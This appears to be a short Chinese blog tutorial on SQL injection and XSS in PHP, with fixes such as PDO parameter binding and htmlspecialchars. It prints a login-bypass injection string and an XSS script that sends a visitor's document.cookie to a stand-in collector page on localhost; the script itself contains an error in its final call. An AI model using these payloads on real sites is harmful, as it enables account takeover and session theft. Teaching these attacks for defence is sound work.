1,关于sql注入
用户提交登录信息的时候可以用 password ' or 1 # 这样原来sql拼接语句就成了 select * from table where username=xxx and password ='password' or 1#' 这样就登陆用户得到了登录信息了。完成了一次sql注入
解决方式
第一:用addslashes 把提交的字符 转义一下特殊字符
第二:用pdo参数绑定的形式
$dbh = new PDO("mysql:dbname=la;host=127.0.0.1","root",""); $sth = $dbh->prepare("select * from users where username=:username"); $sth->execute(array('username'=>$username)); $result = $sth->fetchAll();
第三: 验证数据的正确性了,比如限制字符数量,规定数据类型
2,xss攻击
这种攻击场景一般就是在评论的时候会提交一些script代码 ,如果没有过滤 。那么危险性比较大,比如写一段
<script>
var url = "http://localhost//toucookie.php?cookie=" + document.cookie;
var img = document.createElement("img");
img.src = url;
document.appendChild(url);
</script>
这一段 当其他的用户点击这个图片的时候,就会自动发送他在这个网站的cookie信息给攻击者,攻击者有了cookie信息,就可以很多事情了,比如获取用户的信息,有可能能直接登录到用户的后台。
解决方式
1,在做评论这种提交数据的时候 用htmlspecialchars 把html的一些东西转换为实体。
2,可以用strip_tags去除掉html标签
3,过滤掉一些scipt标签等 ,需要看具体的业务需求
本文探讨了SQL注入和XSS攻击的基本原理及其防御措施。对于SQL注入,通过使用预编译语句和参数绑定等方法来防止恶意输入;对于XSS攻击,则通过过滤和转义用户提交的数据来避免潜在的安全风险。
8140

被折叠的 条评论
为什么被折叠?



